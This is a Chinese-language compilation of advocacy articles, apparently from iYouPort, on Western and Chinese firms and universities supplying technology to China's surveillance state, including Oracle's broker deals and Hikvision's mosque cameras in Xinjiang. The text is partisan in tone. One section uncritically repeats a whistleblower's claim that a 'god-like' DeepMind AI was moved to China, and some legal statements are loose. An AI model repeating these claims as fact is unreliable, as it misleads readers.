在这里看到《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

尽管在斯诺登泄露的关于美国国家安全局的"棱镜"监视项目的文件中没有提到甲骨文，但是，由于其数据库被中国政府各部委广泛使用，甲骨文公司也受到了审查。

"有时在美国，我们会忘记斯诺登事件对北京的网络安全和政策的思考有多大影响"，新美国安全中心兼职高级研究员、中国军事战略专家 Elsa Kania 说，"在中国国家媒体所称的'棱镜门'之后，对甲骨文等外国公司的压力和怀疑增加了。"

埃里森并没有帮助这种情况。在其他美国科技公司正试图与美国国安局保持距离的时候，他向当时的**CBS**广播公司新闻主持人查理·罗斯为该机构辩护。埃里森在**2013**年**8**月关于**NSA**监控的采访中说，"这很好，它是必不可少的。"他还问道："谁听说过这些信息被政府滥用？"尽管美国人正因911事件后十年中的大规模监视噩梦而感到不安。

如果您错过了《从冷战到反恐战争：专制"解决方案"带来的危害往往大于其表面上旨在应对的威胁》

采访播出几天后，中国公安部采取行动，对甲骨文、IBM和计算公司EMC进行调查。随之而来的是一场"去IOE"中国供应链的运动，这意味着移除IBM、甲骨文和EMC的技术—— 或者至少是通过中国的销售商来清洗它们。

由于美国公司努力保持自己在中国的市场准入，它们作出了进一步的妥协。微软在北京开设了一个所谓的"透明度中心"，允许中国对其产品的源代码进行审查。IBM与位于北京的经纪公司 Tamsun 合作开发

了本地数据库，作为交易的一部分，交出其 Informix 软件的源代码。甲骨文与神州数码合作，使其硬件适应中国市场。与另一家中国公司东软合作，甲骨文还试图打入中国的“智能城市”业务，这一举措反映在其网站上发现的文件中，这些文件详细说明了数据驱动的监控是智能城市模式的一部分。

在这里看到，关于您被剥夺了什么《“智能城市”究竟是个什么鬼？！》

智能城市的根本性质：《被俘虏的城市：为什么人们会接受可怕的军管？》

《当谈到数字威权主义时，中国是一个挑战，但不是唯一的挑战》

对于指望中国市场实现利润增长的公司来说，“去IOE”运动远非理想。但是，由它授权的代理商提供了一个优势，他们帮助掩盖了有争议的技术的销售—— 尤其是可怕的监视技术，避免了来自美国政府和人权活动家的指责，他们担心西方技术被用于在中国实施技术专制主义的方式。神州数码中国首席技术官郝俊生在上海举行的Oracle CloudWorld 2018大会上发表演讲

乔治敦安全和新兴技术中心的研究分析员艾米丽·温斯坦（Emily Weinstein）说：“我们看到经纪人出现了，而且变得更加重要，成为保持地下运作的一种方式”。她曾写过关于美国科技公司在中国的秘密同谋的文章。

然而，中介交易并不完全是秘密的。中国政府公布了详细的采购公告，概述了各部委和部门采购的技术。与警方的报告一起，这些报告说广东、江苏和云南等省的警方最近都购买了甲骨文数据库。中国的公安部也是如此，它负责监督全国的警察。中国国务院建立的一个在线市场指出：“甲骨文数据库在中国的各个领域都有应用，比如各级政府的电子政务系统”。在其他领域中，它列举了所谓的公共安全—— 就是维稳。

采购记录显示，神州数码或其分支已将甲骨文数据库、应用程序和中间件授权给了多个政府客户，包括国家广电总局，这是中国负责审查制度的实体之一的旧称。这些交易中的一些是有利可图的。例如，2018年为中央政府的国家体育总局提供的甲骨文数据库软件的项目，为神州数码带来了近1980万元人民币（290万美元）的收入。不知道其中有多大一部分给了甲骨文。

神州数码还通过另一个来源为甲骨文带来了资金：本地化的甲骨文数据库服务器，即 登云一体机。

甲骨文服务器，中国制造

「图」

神州数码子公司为登云一体机提供的规格与甲骨文为Exadata X8–2服务器列出的规格完全相同。

甲骨文公司网站上托管的一份介绍中详细介绍了登云一体机的由来，该介绍称，该美国科技巨头和中国神州数码于2016年9月签署了一份涵盖甲骨文硬件转让的协议。根据该协议，甲骨文同意协助神州数码的子公司云科中国推出该服务器，这是一台旨在运行甲骨文关系型数据库的高大机器。根据神州数码网站上发布的说明，甲骨文将提供营销、项目管理和技术支持。甲骨文公司的营销文件吹嘘该服务器适合处理敏感数据，并可用于云计算。

甲骨文发言人 Moore 淡化了合作的程度。她说："神州数码登云的产品只是对甲骨文旧版本硬件的重塑"，她说，"它不涉及任何形式的联合开发或知识产权转让"。甲骨文公司说，登云公司是由甲骨文公司的 **Exadata** 数据库机器的 "部件" 制成的，该服务器被甲骨文公司作为 "运行甲骨文数据库的最佳平台" 向美国和其他地区的企业和政府客户销售。云科中国为最新的登云一体机给出的规格与甲骨文为 **Exadata X8–2** 列出的规格完全相同。

根据甲骨文的介绍和云科中国的网站，在甲骨文签署登云协议的四个月内，广东省一家工厂的装配线正在生产这些机器。介绍说，同月，河北和陕西省的省政府社保部门收到了第一批登云服务器。

第二年，云科中国在甲骨文的一个会议上展示了其中一台服务器，根据该公司的网站。

目前还不清楚登云一体机与甲骨文推销其数据分析软件供中国警方使用的东西有什么交集，但该产品有助于甲骨文及其合作伙伴向客户追加销售与其数据库配合使用的先进软件。一位接近经纪人行业的消息人士说，像甲骨文这样的公司经常向现有数据库客户推销额外的产品。

显而易见的是，对甲骨文来说，登云交易意味着在其中国业务面临危险的时刻，其数据库将继续无处不在，而且是必要的。这家美国科技

巨头似乎一直在协助中国神州数码和其他代理商公司进行销售。从该科技巨头的网站上下载的近十份甲骨文营销文件中都提到了这个登云公司。甲骨文文档中的时间轴显示了该公司与中国神州数码的合作，最后以它拥有的中国制造的数据库机器结尾。

登云的本地联系成为销售的一部分。一份2016年的甲骨文文件在时间轴上描述了该公司与神州数码的合作，在轨迹的最后提到了“国产”的登云公司。后来的一份销售文件向中国政府的云计算客户介绍了甲骨文的技术，称登云是“自主可控的”，这个词在中国被广泛用来指中国制造的产品，没有外国实体的直接监督，也没有后门。这就是为什么我们会这样说。这篇文章是《数字殖民主义：帝国的演变》

到了登云交易的时候，神州数码已经进入了监控工作中。在2018年8月的一篇文章中，也就是在它和甲骨文庆祝合作20周年前不久，神州数码在其网站上宣布了一项名为 **Deeplan** 的地理空间工作。该项目使用手机数据—— 显然是从电信巨头中国移动获取的—— 以生成显示潜在人群的热图。据该网站称，其目的是“实时监控人们的活动”，以“提高警察的效率”。界面上的一张明显的图片显示了个人模糊的名字，以及人们的电话号码、准确位置和来源城市。该网页称，警方可以利用该热图将一个省内外的人分成几组，这一功能可以被用来追踪抗议者、或上访者。负责该项目的神州数码子公司华苏科技，目前在其网站上列出了一个职位空缺，招聘专门从事地理信息系统（GIS）的软件开发工程师—— 其中的要求是熟悉甲骨文数据库。

登云的努力很快也与中国的压迫性实体联系起来。**2018**年，该服务器被卖给了中国国家地理信息中心，该中心负责监督对警方工作至关重要的地理空间工作。

最引人注目的是，**3**月**9**日，北京市政府宣布，它将支付**270**万元人民币（**41.49**万美元）购买一台登云机器，作为所谓的“智能警务项目”的一部分。虽然表面上侧重于交通，但是，该项目是中国“警务云”的一部分，这是一项大规模收集和集中公民信息的项目，受到人权观察的批评。

该项目的一份采购文件描述了试图阻止抗议活动或大型集会的警察感兴趣的功能，包括自动车牌识别，识别首次进入城市的汽车，以及对车内的司机进行面部识别。它还将服务器描述为警务项目的必要组成部分，并指出该项目需要购买经过认证的甲骨文数据库，以及“至少有一名甲骨文认证的工程师”。

甲骨文公司副总裁 Glueck 声称，登云服务器太过基础，在任何一种

雄心勃勃的监控项目中都用不上。他说：“这个产品不是那种你甚至可以运行一个监控系统的设备。这并不是说我们没有不同的硬件能力，但这是一种非常有限的、小规模的设备。”

但是，甲骨文自己的营销材料则夸耀说，登云可以用于大数据和高性能计算。云科中国的传单单独说，该服务器在每个架构上提供**3.0PB**的磁盘容量—— 足以存储多年的连续高清视频或数十亿的社交媒体图片。

甲骨文与代理商的关系是一个值得警惕的故事。

启用数据驱动的警务工作

「图」

对于许多在中国经营的西方公司来说，经纪人提供了一种合理的推诿，使他们能够声称他们只是提供“中立的工具”，当这些工具被用来监视中国人口时，他们不承担任何责任。但是，甲骨文公司很难对神州数码提出这样的要求：该公司在这家美国科技巨头自己的网站上被注明销售甲骨文技术配置的面向警务的产品。在甲骨文网站上的合作伙伴页面上，神州数码表示，它帮助中国当局维护数据驱动的警务系统。

在神州数码的 Oracle.com 合作伙伴页面上，有一个这样的产品，叫做“政府行业信息安全解决方案2.0”。

一份关于该“解决方案”的中文帖子称，神州数码可以为中国警察、军队和其他进行广泛监控的实体提供**IT**维护和管理。这包括为中国的**1203**项目工作—— 该项目致力于连接中国各地的维稳数据基础设施。

合作伙伴页面还介绍了为令人生畏的城管工作的情况，这些城管人员因对街头小贩施暴而闻名。它还吹嘘说，神州数码可以帮助当局维持一个“综合警务平台”，这个术语用于描述数据驱动的警务软件。该页面指出，该解决方案旨在建立在甲骨文的数据库、操作系统和虚拟机上运行。

中国法律学者 Sprick 在检查该网页后说：“这清楚地表明，甲骨文没有回避向中国党国提供关键的技术基础设施”。

神州数码是甲骨文管理服务提供商，这是一个令人羡慕的认证，该美

国科技巨头称需要每年进行第三方审计。甲骨文公司拒绝就其在中国的审计内容发表评论，称，甲骨文已经根据审计结果结束了在中国的合作关系，但不愿透露细节。

当被问及神州数码的合作伙伴页面上描述的警察援助时，该巨头公司的发言人 Moore 含糊其辞。她没有否认这个项目，而是说，基本上，它没有那么糟糕。她指出，该解决方案包括其他非警务的政府工作。“对全文的研究表明，你引用的部分几乎完全是’优化’其他解决方案，几乎所有的解决方案都是完全良性的”，她说，“如果你反对’视频会议优化’，我们真的不知道该如何回应”。然而她忽略了该解决方案描述了为中国军事客户进行的视频会议优化工作 —— 为 “国防工业” 中一个未指明的 “军队办公室”。

“我们对监视可能有不同的定义”，其副总裁 Glueck 说。但当被问及甲骨文对监视的定义是什么时，他转移了话题。他没有回答，而是建议记者去调查该科技巨头的竞争对手。○

HOW A CHINESE SURVEILLANCE BROKER BECAME ORACLE’S “PARTNER OF THE YEAR”

原文

哪家公司正在帮助建立中国的圆形监狱？ - iYouPort

作恶者：谁在帮中国

SenseTime 是全球最有价值的人工智能创业公司，旨在将老大哥原型带到各地。这家拥有四年历史的公司的图像识别算法使其价值超过 45 亿美元，并成为中国老大哥的早期领导者。

各种中国警察部门使用其 SenseTotem 和 SenseFace 系统来分析监控镜头以捕捉嫌疑人。该公司的成功标志着中国建立数字圆形监狱以监控其 14 亿居民的可能性，得到了政府的直接支持、并且基本没有隐私纠纷，这些问题往往会引发围绕这种监控的辩论，但是在中国，没人站出来反对。

在包括阿里巴巴、富达国际、高通、银湖和 Tiger 老虎基金在内的投资者的支持下，SenseTime 增加了 2,200 名员工，因为它在太平洋两岸投资了许多行业。两位熟悉其财务状况的人表示，预计今年的收入将增加三倍，达到3亿美元。该公司拒绝发表评论。

除了在人群中发现和查找面孔之外，SenseTime 的长期目标是将其技术置于各地的图像识别核心。这个想法可以在其北京办公室的微观世界中看到，工作人员从不需要刷门禁卡进入，在隐藏的相机刷脸后，玻璃门会自动滑开。

该公司联合创始人在全球 400 多名军事和政府官员及承包商面前表示，SenseTime 并不会担心人工智能的道德窘境，包括世界末日、机器起义的情景。他说：“我们并没有想那么远，我们只是想赚钱。”

This Company Is Helping Build China’s Panopticon. It Won’t Stop There. SenseTime, the world’s most valuable AI startup, aims to bring its smarter-cameras-everywhere model, well, everywhere

原文

是谁在中国政府的监视社会计划中大发横财？ - iYouPort

作恶者：谁在帮中国

海康威视公司赢得了一项中国政府的招标，该招标要求在中国部分地区的每个清真寺（总共近1000 个清真寺）的入口处设置面部识别摄像机，这种监控严重违反宗教自由和人权。

与西方不同，在中国，宗教团体受中国政府的直接控制。而现在，这些清真寺必须允许中国政府建立并使用面部识别摄像机进行监控，使当局能够对参加宗教服务的人员加强警戒，以及搜索人们出入清真寺的时间和频率。

这引发了一些重要问题：

- 如何允许政府使用面部识别？
- 技术提供商（如海康威视）对面部识别的使用有何限制？

海康威视以约 4600 万美元的价格赢得了 2017 年政府合同，在新疆的墨玉县建立了广泛的监控系统。该项目被称为“墨玉县社会面防控体系 PPP 项目“。

该项目是海康威视和 Dahua 自 2016 年以来在新疆赢得的价值" 12 亿美元的大规模监控项目"之一。媒体和活动人士指责中国正在打造一个监视国家。

法新社报道说，其最初的招标包括在新疆的“再教育（洗脑）”中心使用的六台摄像机，据称中国拘留了数十万维吾尔族和其他少数民族的穆斯林公民，因此墨玉的项目备受关注。

面部识别技术细节

最具侵入性的标志是面部识别技术的大量使用，因为招标需要：

> 967 facial recognition cameras to be placed at the entrance of each of the 967 mosques in Moyu

> County. 清真寺安防子系统在入口处设置,墨玉县有967 个清真寺, 需购置摄像机 967台

面部识别相机包含以下技术细节：

- 最低分辨率为1920×1080，TVL （清晰度）至少为 1100；
- 能够在—40 至 70 摄氏度的极端温度下运转良好；
- 加密的 SD 卡存储量为 256 千兆字节，只能从后端访问；
- 能够处理“大批量”的面部数据。

然而，招标没有提到面部识别技术所需的准确度水平，这是一个重要的问题，意味着技术的不成熟和错误识别的几率。

“视频会议布道需要国家批准“

该项目还包括更多针对清真寺特点的视频监控和审查系统，例如视频会议系统，用于在墨玉县民族事务委员会的“视频会议中心”播放“统一”布道。简而言之，这样的制度是为了禁止任何传道人举行自己的布道。

每个清真寺有 **5** 台以上的政府监视摄像机

海康威视项目为清真寺增加了 840 个监视摄像头（这还不包含面部识别摄像头）这一监视系统是子弹型摄像机、半球型摄像机、以及夜间全彩球型摄像机的组合。

招标估计，墨玉县 967 个清真寺中每个清真寺都已经安装了 5 个监视摄像头，总共约 4,835 个摄像头。那些现有的摄像机将集成到新的监控系统中，即 967 个面部识别摄像机 + 840 个圆顶型/子弹型摄像机组成的系统。

海康威视在洗脑中心的项目

海康威视的招标赢得了为墨玉县“再教育中心”提供的六台全景摄像机（独立实现大范围无死角监控的摄像机）总分辨率达到 8MP：

> 内置镜头，带有*8*个图像采集模块，需要输出*1*个主视觉效果视频和 *8* 个辅助视觉效果视频；系统应该能够拼接八个辅助视频，形成两组 *180* 度视觉效果

「图」

「图」

虽然招标没有列出海康威视使用的具体模型，但与此最接近的是 PanoVu 360° 系列，如上图所示。

海康威视的监视系统覆盖很多“再教育营地”，还没有其他文件显示更多的“再教育营地”使用了哪家供应商的技术支持。

中国大规模监视系统的“重大升级”

虽然新疆清真寺长期以来一直受到政府的严密监控—— 包括通过使用传统的监视摄像头，但面部识别技术的使用代表了“党国监督工作的重大升级”，对中国宗教自由的“寒蝉效应”。

澳大利亚拉筹伯大学（La Trobe University）教授 James Leibold 解释说：

> 在新疆清真寺中使用人脸识别技术是为了控制进入条件。该技术使当局能够迅速识别被列入黑名单的成人和青年，并阻止他们进入清真寺。该技术还允许政府保存更多的系统数据，包括谁来了、进出的频率等等，将任何反对政府的态度和个人列入禁止名单。

罗斯赫尔曼理工学院的另一位新疆专家、中国研究教授 Timothy Grose 说，他听说过其他城市，如乌鲁木齐，也为清真寺入口配备了面部识别摄像头。

该项目被“机密”处理

海康威视公司拒绝就此报道发表评论。

然而，海康威视此前告诉法新社，尽管进行了省级债务审查，但仍在继续推行墨玉项目。它拒绝提供进一步的细节，声称该项目是“机密”。（此前有报道说，DaHua 和海康威视在过去两年中已经赢得了超过 10 亿美元的新疆监视系统项目）

事实上，在欧盟，**GDPR** 的第 **9** 条禁止面部识别等生物识别处理技术。但也确实将当局声称的“公共利益”作为例外处理了; 不过规定了监视数据必须“尊重数据保护权的本质，并提供适当和具体的措施，以保护数据主体的基本权益”。

延伸阅读：当局的“公共利益”例外，相当于令面部识别技术的管制完

全失效，原因请见这篇调查报告《//"是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？"//》

美国的大型科技公司对美国监控技术的兴趣也在增加。微软和亚马逊为警方甚至军方提供大规模监视系统—人脸识别技术，已经在过去的几个月内饱受抨击。

在中国这种一党专制的国家里，几乎没有机会对面部识别系统作出有效的限制。

原文

泄漏文件证实：有更多的美国科技巨头支援中国庞大的监视国家 - iYouPort

作恶者：谁在帮中国

中国的警察国家是美国构建的，这已经不是新闻。但是，人们所知道的参与其中的公司太少了，而这份泄漏文件曝光了更多作恶者

「图」

「图」

一份最大的文件泄漏再次证实并详细说明了中国庞大的维吾尔族穆斯林数字监狱网络以及用于监视通信和追踪任何人的利维坦系统，尤其是，揭示了该利维坦系统的来源 —— 美国科技巨头。

- 虽然这不是新鲜事《中国的反乌托邦监视国家是美国制造的》
- 为什么世界要支持集中营的构建？严重推荐这份访谈，以及这本书《今天的集中营有很多名字，但它们依旧是集中营》

⚠ 也就是说，美国科技巨头实际上是在协助和教授中国当权者，以构建这个价值数十亿美元的大规模监视系统 —— 在共产主义政权治下强加一个完整的电子警察国家。

不仅是 Google 和 IBM，而且还有越来越多的寡头公司的名字在这份泄漏文件中被曝光。

- 《血族：美国人、IBM 和出口的数字警察国家》
- 《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》
- 《美国科技巨头如何帮助中国建立大规模监视系统》

“美国公司，包括 希捷科技、西部数据公司和慧与科技公司等，致力于培训、迎合中国的监控行业，并从中获利；自从中国的监控行业起步以来，已经有多家美国公司参与其中”，报告写道。

- 您可以在 列表-4 栏目 “作恶者：谁在帮中国” 中看到更多具体的介绍

在美国财政部最近将目标对准八家中国监视公司之后，这些美国公司受到了一些的审查 —— 他们出口的这些技术可以帮助中国政府实施侵犯人权的行为。

近年来，美国公司一直在竞争进入中国这个蓬勃发展的**100**亿美元以上的监控市场，还利用了中国公司飞速发展的技术。

而且，令人震惊的是，《华尔街日报》的调查发现：“去年11月，由北京支持的中国安全与保护[维稳]行业协会因对中国监控行业的 ‘杰出贡献’ 而被选中的**37**家中国公司中，有**17**家公司公开披露了与美国技术公司的融资、商业关系或供应链关系。而且有多重关系”。

「图」

「图」

上图：《华尔街日报》展示了美国公司与中国国家监视部门之间的关系：“中国最大的监视系统制造商海康威视已直接或通过第三方从美国公司购买了技术。海康威视于去年10月被列入黑名单，限制它可以从美国购买的某些技术。而美国公司拒绝评论其销售是否继续。”

例如，该报告详细说明了美国大牌企业慧与科技公司拥有中国杭州华三通信技术有限公司 **49**%的股份。⚠这家中国公司以为中国维稳部门提供互联网控制系统而闻名。

报告总结说：“根据公司的市场营销资料，其最近一个客户是新疆的阿克苏市，该市在几乎所有公共场所对那里的居民进行广泛的监视。卫星图像显示该市是多个拘留营的所在地。”

- 《开源调查图解新疆”再教育”营》

在另一个令人震惊的例子中，中国国有的海康威视（**Hikvision**）从总部位于加利福尼亚州圣何塞的**Xilinx Inc.**接收稳定的可编程芯片供应，而 Xilinx 公司做出的回应称其 “不控制或限制其客户使用其产品的方式”。

「图」

「图」

美国公司的运营和产品还以各种形式与中国的监控公司紧密地交织在一起，例如 在美国加利福尼亚开发和生产的芯片和硬盘驱动器，是美国批准的海康威视某些系统的核心。

但是有人感到惊讶吗？慧与科技等美国大型公司（其产品长期散布于全球各地）可能会继续在利润丰厚的中国市场中寻找一席之地，同时这些公司仅声称与北京不断增长的警察国家之间存在“间接”关系，声称他们对美国技术的使用方式 “控制不了”。

但是你为什么要首先开发这种反乌托邦能力？并且还要主动迎合并出售给典型的警察国家？

「图」

「图」

举报人：**Google** 正在开发 “上帝一般” 的人工智能

谷歌前高级软件开发商和现在的举报人 Zach Vorhies 出席了 SiriusXM 的晚间新闻节目，讨论谷歌与共产中国以及该公司的人工智能项目 DeepMind 的关系，该项目被称为 “AI Manhattan Project”。

主持人：过去，谷歌因与中国共产党政府开展业务而遇到麻烦。我想问一下您在谷歌公司任职期间正在进行哪些工作？您能给我们提供任何见解吗？

Zach Vorhies：Google 收购了一家名为 DeepMind 的AI公司，让我用通俗易懂的语言来表达，即 **DeepMind** 正在创建一个类似于上帝的**AI**系统，该系统能够吸收整个互联网上所有可用公共信息，并使之形成情报。

可以将其比做 Amazon Alexa，但要高级得多。我相信该AI系统已移出英国，并进入了中国，并被称为 AI Manhattan Project。

Vorhies ：“著名企业家 Peter Thiel 指责 Google 叛逆。这是由美国公司制造并放置在中国的世界上最复杂、最先进的**AI**项目。”

Vorhies：当人们想到监视时，通常都会想到国家监视。这是对表面网络上可用的所有信息以及从深层网络中可获取的所有信息的全面监视，并利用 Google 对扫描内容的广泛深入分析。

将所有数据融合在一起，并据此形成决策过程 —— 诱导、欺骗、操

纵、抓捕人们。本质上，这就是 **Google DeepMind** 项目的目的。

在这里听取全部访谈内容。

Here Are More US Tech Giants Propping Up China’s Vast Surveillance State

原文

澳大利亚正在如何帮助中国构建监视国家 - iYouPort

作恶者：谁在帮中国

在 “作恶者：谁在帮中国” 中再添一笔

「图」

「图」

想象一个警察和维稳部门使用的应用程序，其中包含从你的手机上的内容、到你的用电量、到你的银行帐户交易等等一切信息。

你没有想错，这种东西真的存在。

这个应用程序并非来自电视剧《黑镜》，而是来自中国 —— 用于监视中国新疆地区的数百万公民。

在同一地区，据信有超过一百万的维吾尔族穆斯林被拘留在秘密的 “再教育营” 里。

但是，⚠不仅跟踪穆斯林，而且，该地区的每个人都在受到被称为联合行动平台（IJOP）的精密的监视系统的监视。

人权观察组织披露了该应用程序的工作方式，以及启用的极端监视级别。

请注意，对于与负责该系统构建的中国电子科技集团公司（**CETC**）合作的澳大利亚组织，这应该引起警惕和疑问。

“全球110多个国家”

CETC 是一家中国国有的军事技术公司 —— 中国的科技巨头之一。它自称为 “国防、安全[维稳]和信息化领域最强大的国家重点公司”。

人权观察的研究表明，CETC 最终负责该监视应用程序，该应用程序是通过其全资子公司河北远东通信系统工程有限公司开发的。

去年发表的映射中国科技公司全球扩张的调查发现，**CETC** 的合作项目从巴布亚新几内亚一直延伸到俄罗斯再到南非。在下面看到：

- 《图解中国科技巨头—半壁“高堡奇人”》

CETC 在其网站上声称在全球**110**多个国家和地区开展业务。

包括澳大利亚在内。

2017年，CETC 与悉尼科技大学（UTS）签署了一项2000万澳元的协议，以资助一个研究创新中心。

可以预见，该项目以后将扩展到包括更多其他澳大利亚和中国的大学。

ASPI 的研究先前强调了有关中国政府如何使用该项目中开发的技术的担忧。

研究员 Elsa Kania 的一份报告特别提到了 UTS 与 CETC 在军民两用**AI**研究方面的合作，这是一个特别令人关注的领域。

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》

例如，在2018年，UTS 发布了与 CETC 有关的研究信息，该研究涉及 “基于复杂数据条件的在线[监视]视频检索系统”，该项目具有明显的潜在大规模监视应用。

人权观察所披露的信息加重了这些担忧。

我们现在知道，CETC 的技术正在实现大规模监视，对少数民族的迫害和侵犯人权的行为。那些大学需要问自己这是否真的是他们想要合作的公司。

「图」

「图」

PHOTO: Bordered by eight countries, Xinjiang is China’s largest province. (Supplied: Google Maps)

中国科技传播影响力

CETC 并非唯一一家既支持新疆镇压又在澳大利亚开展业务的公司。

华为正在为新疆警察提供设备、技术支持和培训，并将加入新疆首都“智能安防行业” 创新实验室。

华为被禁止在澳大利亚提供5G设备，但是，华为仍继续持有其他主要公共合同，包括最近与西澳大利亚州政府签订的"价值2亿美元"的珀斯火车系统数字无线电合同。

同时，监视摄像机巨头海康威视向新疆的监视计划提供了价值数亿美元的摄像机。其中许多配备了先进的技术，包括面部识别、甚至窃听功能。

公开招标记录显示，海康威视摄像机已被放置在新疆至少967座清真寺中，用于监视维吾尔族公民，并 “确保所有人奉行‘统一’的政府规章”。最令人不安的是，海康威视还直接向中国政府的“再教育营”提供设备和服务。

- 关于 “谁在帮助中国政府”，"参见我们的列表4"，其中收录了很多关于作恶者的证据

「图」

「图」

PHOTO: Up to a million Uyghur Muslims are believed to be detained in what China calls “vocational skills education centres”. (Reuters: Thomas Peter)

但是，海康威视的监视摄像机在澳大利亚被广泛使用，持有政府合同。

去年，ABC的一项调查发现，许多监视相机被放置在政治敏感的位置。

中国的公司正在积极寻求出口其监视技术和专业知识。例如，负责人权观察组织分析的该应用程序的CETC子公司，对于厄瓜多尔的大规模监视计划也很重要。

- 《中国对厄瓜多尔做了什么？》

中国的监视技术也正在进入澳大利亚。

去年，据透露，达尔文市议会计划从中国深圳引进实施所谓的 “智能城市” 技术，其中包括 “虚拟围栏”，一旦有人越过就会触发警报。

- 《智能城市到底是什么？你被那些当权者剥夺了什么？》

该项目将包括 “装有扬声器、摄像头和 Wi-Fi 的杆子，这可以使用当权者获得有关多少人走在哪个人行道上、以及他们使用了哪些网站和应用程序的详细数据。”

澳大利亚研究可以重新定位

UTS表示，它与 CETC 的合作均未涉及“根据《人权观察》报告”在新疆地区使用的技术。

但是，伙伴关系中的一些关键研究领域应受到特别关注。 UTS在新闻稿中表示，该项目将专注于视觉大数据分析、移动感应和通信、以及物联网。

在UTS自己的网站上显示，合作包括对 “公共安全[大规模监视]在线视频检索” 系统的研究。这些正是 CETC 在新疆的监视平台所采用的技术。

IJOP系统的关键是新疆各地街道，公共建筑、学校、办公室和清真寺中无处不在的闭路电视监视摄像机网络。

这些监视相机中的许多都配备了面部识别、车牌识别和夜视功能。

对于分析这些摄像机收集的大量数据的需求，催生了中国人工智能公司蜂拥而上，每个公司都在争夺政府合同，以帮助实现政府监控程序的自动化。

考虑到从人权观察的调查中获得的这些新信息，澳大利亚组织需要问问自己，与像 CETC 这样的公司合作是否值得。〇

Should Australia be partnering with the Chinese tech giants designing a surveillance state?

原文

美国技术正用于中国的大规模监视 - iYouPort

作恶者：谁在帮中国

美国参议员马克卢比奥（Marco Rubio）和众议员克里斯史密斯（Chris Smith）致函美国商务部表示严重关切向中国公司出售监控技术的美国公司。

引用新疆的例子，卢比奥和史密斯描述了“维吾尔族穆斯林和其他少数民族遭受的监视大幅增加”，他们居住在中国西北边境省份。与此同时，立法者还引用了德国研究人员阿德里安·曾兹（Adrian Zenz）最近的一项研究，该研究估计，在一个庞大的新建营地系统中，有50万至100万维吾尔人被拘留用于“再教育”。

这封信确定了总部位于马萨诸塞州的美国公司赛默飞世尔科技有限公司（Thermo-Fisher Scientific）向中国公安部及中国公安局出售了应用生物系统（ABI）遗传分析仪下具有先进微处理器的 DNA 测序仪“。

多伦多大学的 Citizen Lab 发现，通过互联网进行过滤、审查和监控的软件已经被美国公司销售给中国，并且，随后在目前受美国制裁的其他国家（叙利亚、俄罗斯和委内瑞拉）使用。

在中国“再教育中心”拘留的人口中还包括美国的全球宣传机构自由亚洲电台（RFA）的维吾尔服务记者的十几名家庭成员。 这封信强调，美国公司不应该协助中国政府镇压或拘留美国政府雇员的家属。

- 延伸阅读：《为什么这家美国公司努力帮助中国的监控社会？》
- 《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》
- 《前 Facebook 高管讲述了社交网络的真相》
- 《中国的互联网维稳产业：谁将成为唯一的失败者？》
- 《数字威权主义的兴起: 灾年之畔》

Chairs Ask Commerce Secretary Ross About Sale of Surveillance Technology to Chinese Police: “US companies should not be assisting the Chinese government’s repression or the detention of

the families of US government employees.“

原文

西方学术界帮助构建了中国的自动化种族主义 - iYouPort

作恶者：谁在帮中国

这件事不是第一次强调了，而且是从多个角度，您肯定记得。仍需要不断强调，因为它始终没有解决

「图」

「图」

- 去年的报道《美国高端学者正在帮助中国当局追踪其公民》

2018年夏天，一家备受推崇的美国数据挖掘学术期刊发表了一项名为“用于种族识别的面部特征发现”的研究，该研究由中国的四位教授和澳大利亚的一位教授共同撰写。

该项研究声称，自动检测中国少数民族的一种有效方法是使面部识别系统专注于他们面部特定的T形区域。

为了得出这个结论，该研究在中国大连民族大学为300名维吾尔族、藏族和朝鲜族学生拍摄了7,000多张照片。

这项研究得到了中国政府基金会的资助，该研究发表时并没有引起多少关注，但是在5月底，博士生 Os Keyes 在推特上发布它的摘要时写道：“2017–2018年间出现了一系列计算机视觉研究的文献，它们巧合地试图为维吾尔族人建立面部识别。”

Keyes 的帖子被转发了500次以上。

「图」

「图」

该研究有充分的理由引起人们的关注。

中国政府正在对维吾尔人进行有据可查的大规模监视和拘留运动，维吾尔族人是该国遥远的新疆地区的主要穆斯林少数民族，那里约有一百万人被拘留在“再教育”营中。

从清真寺的面部识别摄像头到大量的DNA采集和虹膜扫描、生物识别技术正在新疆大面积部署，以前所未有的规模跟踪维吾尔族和其他少数民族。

- 《"美国公司如何帮助中国借助 DNA 数据追踪公民"》
- 《"中国的反乌托邦监视国家是美国制造的"》

⚠现在，中国数十亿美元的面部识别创业公司中，大多数公司都向警察出售种族分析软件，以自动区分维吾尔人与其他族裔人口。

- 《技术超级碗CES正在帮助中国监视公司清理形象》

尽管如此，仍在美国和欧洲学术期刊上发表了改进面部识别技术以识别维吾尔人的学术论文，并在国际计算机科学会议上发表了论文。

中国最大的生物识别技术研究会议于2018年在新疆举行，包括美国著名人工智能研究人员为主题演讲者，其中一位来自微软。

⚠会议上的一篇论文是由新疆当地警察共同撰写的，讨论了在维吾尔文中找到“恐怖主义”和“极端宗教”内容的方法。

另外，伦敦帝国理工学院还将举办一个公开的面部识别竞赛，其中一个赞助商是一家名为 DeepGlint 的中国AI创业公司，该公司在其中文网站上向警察"宣传"其针对维吾尔族人的监视识别功能，该网站拥有多个新疆维稳项目。

参加比赛的组织者表示，他不了解 DeepGlint 跟踪维吾尔人的角色，并表示他将来不再接受 DeepGlint 的资助。

发表那些关于识别中国少数民族的毒性研究的美国杂志是《Wiley 跨学科回顾：数据挖掘与知识发现》，它是 Wiley 的一部分，该公司是一家总部位于新泽西州的、市值数十亿美元的公开发行学术出版物。

该论文的发表在 Twitter 和 Reddit 上受到严重批评后，该杂志的主编 Witold Pedrycz 发表声明，捍卫其立场，指出该论文经过了“严格的编辑过程”，并声称，如果研究被以有害的方式使用，Wiley 不承担任何责任。

该声明说："像智能系统领域的其他技术一样，面部识别可以而且将会产生深远的影响，无论是正面的还是负面的，并有可能被用于可能的意想不到的恶意目的。编辑和 Wiley 不赞成或支持恶意用法。"

虽然没有证据表明该论文的结论被新疆警察或中国监视公司直接采用。但是，它的作者仍然指出，"人脸识别在边境控制、海关检查和公共维稳方面具有巨大的应用潜力。" 该论文目前仍然可以自由获取。

中国民族与种族问题专家、澳大利亚拉筹伯大学（La Trobe University）教授 James Leibold 认为，该论文构成的风险是不可接受的。

